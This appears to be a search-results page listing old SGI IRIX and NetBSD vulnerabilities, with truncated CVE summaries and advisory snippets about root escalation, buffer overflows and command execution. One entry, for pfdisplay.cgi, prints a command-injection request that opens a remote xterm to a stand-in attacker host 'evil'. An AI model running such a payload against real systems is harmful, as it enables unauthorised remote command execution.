936 matches found
CVE-1999-1409
The at program in IRIX 6.2 and NetBSD 1.3.2 and earlier allows local users to read portions of arbitrary files by submitting the file to at with the -f argument, which generates error messages that at sends to the user via e-mail...
CVE-1999-0313
diskbandwidth on SGI IRIX 6.4 S2MP for Origin/Onyx2 allows local users to gain root access using relative pathnames...
CVE-1999-0314
ioconfig on SGI IRIX 6.4 S2MP for Origin/Onyx2 allows local users to gain root access using relative pathnames...
NetBSD 1.3.2 SGI IRIX 6.5.1 - at(1) Read File
NetBSD 1.3.2 SGI IRIX 6.5.1 - at1 Read File source: https://www.securityfocus.com/bid/331/info A vulnerability exists in NetBSD version 1.3.2 and lower, and Silicon Graphics Inc's IRIX versions 6.2, 6.3, 6.4, 6.5 and 6.5.1. The at1 program can be supplied with a -f flag, and an error is access...
NetBSD 1.3.2 / SGI IRIX 6.5.1 - 'at(1)' Read File
source: https://www.securityfocus.com/bid/331/info A vulnerability exists in NetBSD version 1.3.2 and lower, and Silicon Graphics Inc's IRIX versions 6.2, 6.3, 6.4, 6.5 and 6.5.1. The at1 program can be supplied with a -f flag, and an error is access validation can result in the mailing of portio...
CVE-1999-1039
Vulnerability in 1 diskalign and 2 diskperf in IRIX 6.4 patches 2291 and 2848 allow a local user to create root-owned files leading to a root compromise...
CVE-1999-1492
Vulnerability in 1 diskperf and 2 diskalign in IRIX 6.4 allows local attacker to create arbitrary root owned files, leading to root privileges...
CVE-1999-0126
SGI IRIX buffer overflow in xterm and Xaw allows root access...
CVE-1999-0108
The printers program in IRIX has a buffer overflow that gives root access to local users...
CVE-1999-1114
Buffer overflow in Korn Shell ksh suidexec program on IRIX 6.x and earlier, and possibly other operating systems, allows local users to gain root privileges...
CVE-1999-1501
1 ipxchk and 2 ipxlink in SGI OS2 IRIX 6.3 does not properly clear the IFS environmental variable before executing system calls, which allows local users to execute arbitrary commands...
IRIX 6.4 - pfdisplay.cgi Code Execution
IRIX 6.4 - pfdisplay.cgi Code Execution source: https://www.securityfocus.com/bid/64/info There exists a security vulnerability with the CGI program pfdispaly.cgi distributed with IRIX. This problem its not fixed by patch 3018. $ lynx -dump...
IRIX 6.4 - 'pfdisplay.cgi' Code Execution
source: https://www.securityfocus.com/bid/64/info There exists a security vulnerability with the CGI program pfdispaly.cgi distributed with IRIX. This problem its not fixed by patch 3018. $ lynx -dump http://victim/cgi-bin/pfdisplay.cgi?'%0A/usr/bin/X11/xterm%20-display%20evil:0.0|'...
CVE-1999-1183
System Manager sysmgr GUI in SGI IRIX 6.4 and 6.3 allows remote attackers to execute commands by providing a trojan horse 1 runtask or 2 runexec descriptor file, which is used to execute a System Manager Task when the user's Mailcap entry supports the x-sgi-task or x-sgi-exec type...
CVE-1999-0960
IRIX cdplayer allows local users to create directories in arbitrary locations via a command line option...
CVE-1999-0125
Buffer overflow in SGI IRIX mailx program...
CVE-1999-1131
Buffer overflow in OSF Distributed Computing Environment DCE security demon secd in IRIX 6.4 and earlier allows attackers to cause a denial of service via a long principal, group, or organization...
CVE-1999-0148
The handler CGI program in IRIX allows arbitrary command execution...
SGI IRIX 6.2 - 'libgl.so' Local Buffer Overflow
/ source: https://www.securityfocus.com/bid/1527/info Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize...
IRIX 5.3/6.x - '/usr/bin/mail' Local Buffer Overflow
/ source: https://www.securityfocus.com/bid/1542/info The mail1 program, also know as mailatt, is used to read or send email. A buffer overflow condition exists in code that handles the LOGNAME environment variable. This could be exploited to elevate privileges. / / copyright LAST STAGE OF DELIRI...